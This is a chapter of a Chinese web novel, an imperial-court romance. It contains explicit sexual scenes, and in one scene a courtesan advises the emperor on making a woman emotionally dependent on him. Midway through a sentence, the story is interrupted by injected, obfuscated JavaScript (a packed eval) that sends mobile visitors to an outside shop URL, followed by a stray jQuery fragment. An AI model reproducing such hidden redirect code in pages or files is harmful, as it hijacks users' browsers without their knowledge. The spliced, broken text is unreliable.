在她最欢畅之时,他凑近,瞧着她绯红的脸,低哑着声音问她:“你说我可还需要那壮阳药?你可喜欢我这样对你?”
她却沉默着,一言不发。
便是在这种时候,也不能说几句他想听的话么?他记得先前她上朝时对他极为奉承,还有她在奏折里写的那些。
可她现在与他在一块,可见她分明是喜欢的。
“不说么?”
天色渐晚,白意芙这才有些累了:“劳烦你去取些水来,口渴得很。”
房内光线昏暗,因无人敢打搅,自然无人点灯。
闻岫岚在她脸上亲了一口,下榻点上红烛,取了水来,亲自将水喂到她嘴里,随后回到了榻上,环上她柔软的腰肢,还不忘问她:“可尽兴了?可还要再来几次?”
“今日便到这吧。”白意芙因来了扬郡,时常出去走动,得到了锻炼,与闻岫岚虽激烈了些,倒也吃得消。
“你若还没好,我再帮帮你也无妨。”白意芙感受着他壮实坚硬的身体,不仅不反感,竟还开始发扬乐于助人的精神。
闻岫岚贴着她,回想起今日的冲动,似乎又有了感觉,他只好不再想那些。
“你休息,我自然也要休息。又不是说只这一次。你若还想,明晚我们再继续。”
可是今日他们已不知多少次,就连身下的被褥也又湿又黏,两人身上也沾染上了对方的气味。
闻岫岚起身穿好衣裳,命人取来热水,将她抱进房间右侧屏风后的浴桶里,让她自己清洗。
上回白意芙还请他一同汤沐,他信了她的,结果呢……
这次他不再多看,去了隔壁屋子,那里也备好了浴桶。
轻云进了屋子,将旧的被褥取走,换上新的。
闻岫岚回来时,白意芙穿着藕色素裙,拿着筷子用饭,桌上不过几道菜,填填肚子罢了。
闻岫岚坐过来,与她一同吃了几口,见她脖颈处还有极为明显的几道吻痕,心中暗爽。
闻岫岚与白意芙同吃同住,双方早没了许多忌讳,轻云也识趣走出门去,让他们独处。
“我有话问你。”闻岫岚先起了个头,“我听说你有位青梅竹马,当初不惜为了他逃婚,你如今可还想着他?”
这话是他早就想问的,只是先前有些顾忌,这些时日相处下来,他发现这个女人根本没有心,只是一味贪财好色。
他想从她手里拿到钱,也不是易事。
只是她那位青梅竹马有些特殊,他不得不问一问。
白意芙抬起头来,竟说出了这样一句话:“若是你愿意,可与他和平共处。”
小孩子才做选择题,她比较贪心,她都想要。
“若是我不愿意呢?若是我非要你只跟我在一起呢?”闻岫岚追问,见她如此淡然他就觉得心里堵得慌。
“不许叫我陛下,此刻,我们也不是君臣,我只是想问你,究竟是怎么想的?”闻岫岚似乎已经能够预见她要说什么了。
“陛下您有三宫六院,臣也有臣的青梅、男侍,就如今日这般不好么?”白意芙可不想为了一棵树木放弃一整片森林。
本朝民风开放,不论男女,只要有权势,就可以娶好几房,便是同性之间也可以在一起。
白意芙仍旧称呼得十分疏远,闻岫岚咳了两声,她竟如此不知好歹?
不过确实如她所说,他宫里也有不少佳人。
原本他想到时候让她当个贵妃,毕竟后宫妃子多是朝中大臣之女,现在想来她应当也是十分在意这些。
“到时候我将她们遣散了便是,我朝自古以来,也有皇帝只有一位爱妃的。”闻岫岚想了想,答复道。
白意芙答道:“到那时,我再与竹马划清界限。”
她倒是半分亏也不愿吃,又或者她压根就不信他会那样做?
“也只有你能如此跟我讨价还价了。”闻岫岚气不打一处来,若不是如今他还有别的事要办,他定不会如此轻易放过。
他不愿用强权逼迫她,又因她在官场有些能力,因此才举棋不定。
若是能彻底收服她,再好不过,她原先宠幸的男侍暮朝便是柔情似水,据说她那竹马也是温润如玉,既然如此,他不妨投其所好,只要他待她比他们都要好,他不信她不能只喜欢他一个。
不过他还在犹豫,要不要将他这么多年来的经营告诉她?
随后他又想了想,此时大业未成,他还不是时候。
“既然爱卿你手里拿不出银子,就将要送往京中的税银暂且留在扬郡。爱卿回京可官复原职,另任同中书门下平章事。”
闻岫岚许以重任,平日里的懒散顿无,目光中带着鹰一般的锐利,他已用好了饭,随即将筷子“啪嗒”一声放在桌上,就好像宣告着什么一般。
白意芙看得愣神,不知他究竟是如何了,只觉得他颇为奇怪。
他整了整衣裳,走出房去,借用白意芙的书房,洋洋洒洒写下一封信来。
*
叶冬来信了,在信中告知白意芙,归瑜的眼疾已有好转,只是他所需要的药中有几味稀有名贵,一时之间便是花银子也找不到。
怕是只有京中太医院有其中空青、龙脑、明琥珀等更是宫中贡品,闻岫岚爱收集这些珍稀玩意儿,定然在他那里。
叶冬的意思自然就是让她向闻岫岚要这几味药材。
归瑜的眼疾不可再耽搁,只是昨日闻岫岚再提让她回京,她仍旧不太乐意,恰好今日回了扬郡转运司,故而今日她埋头公务中,叶冬那封信也是前几日送来的,她今日才看见。
也罢,白意芙想了想,回京便回京,有什么大不了的?
闻岫岚今日说是自己出去转转,如今他身边跟着两位壮汉,倒也不用太担心他的安危。
他走在街上,如今已快入冬,凉意更盛,冷风频频吹来,扬郡却依旧人流如织,丝竹管弦声不断,天气再冷,这里也十分热闹。
闻岫岚想着他快要离开扬郡,见白意芙公事繁忙,故而自己出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715349|206806||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来走走。
街上卖什么的都有,闻岫岚平日里爱逛古玩奇珍,可那只是他为了告诉所有人,他玩物丧志。
白意芙上次在京中已经看出来了,这也是他注意到她,觉得她与其他人不同的原因。
更因为他如今借用的是裴清阑的名号,裴清阑并不爱这些。
扬郡没人认识他,此番来扬郡,也是他难得轻松的日子。
闻岫岚不知何时,又将他那把扇子捏在手里。
“这位郎君,可要来我们旖霞楼坐坐?”
闻岫岚走在路上,被一位满身脂粉香气的中年妇人拦住了去路,她本想拉着他的衣袖,闻岫岚身后两人冷哼了声,警告她不要靠近,她这才退开了些。
方才的热情淡了不少,可她见闻岫岚衣着华贵,像是有钱之人,还是不死心:“我们楼上的姑娘个个善解人意,不知郎君喜欢温柔的还是娇羞的又或者是妩媚的?”
显然这就是青楼揽客,闻岫岚向来对这些不感兴趣,正要拒绝离开。
闻岫岚本要走开,忽然想到了什么,说道:“要一个温柔动人,让人移不开眼睛的。”
那妇人引着闻岫岚进了旖霞楼,一进去便是扑面而来的甜腻脂粉香气,楼里男男女女纠缠在一起,他没由来一阵反感。
好在那妇人惯会察言观色,将闻岫岚领到楼上雅间,边走边说道:“郎君,老身直接给您安排我们楼的倩影姑娘,她是我们楼的头牌,郎君您就放心吧,她保准让你念念不忘。”
闻岫岚执着扇子,并不说话,身后两位壮汉你瞧我我瞧你,他们可从没来过这种地方。
妇人将闻岫岚领到一间屋子,两位壮汉面面相觑:“大人,我们在外面等您。”
闻岫岚进了房中,好在屋内气味清新,并无那浓烈香气。
倩影姑娘打扮得极为素雅,擒着温柔的笑意,见闻岫岚进来,掩袖娇羞一笑。
随后慢步行来,见闻岫岚眼中满是疏离,小心着与他近前来说话:“郎君可是有什么烦心事么?闷闷不乐的?不妨跟倩影说说。”
“倩影姑娘,我不是来寻欢作乐的,你告诉我,如何让一个人对你死心塌地便可。”闻岫岚将自己所求说出。
倩影闻言,脸上温柔的笑意便无了,她将闻岫岚打量了一番:“郎君来旖霞楼,不是为了寻欢,是为了请教人怎么讨得他人欢心么?不知那人是郎君的什么人?不妨与倩影说说。”
闻岫岚想起白意芙来,说道:“她对我总是冷淡又疏远,我需要她依赖我,对我言听计从,你可有什么办法?”
倩影竟真沉思片刻,蹙眉:“郎君若是一时兴起,看上了哪家姑娘,那姑娘却对你无意?倩影的确有办法,不如郎君,我们坐下说话?”
闻岫岚听了,眼眸亮了亮,与倩影坐在窗边,倩影说道:“郎君可有想过?有的时候越是在意,便越是得不到。”
“若是郎君殷勤一阵,又忽然抽离,你想的那人或许又会想起你的好来。”倩影继续说着。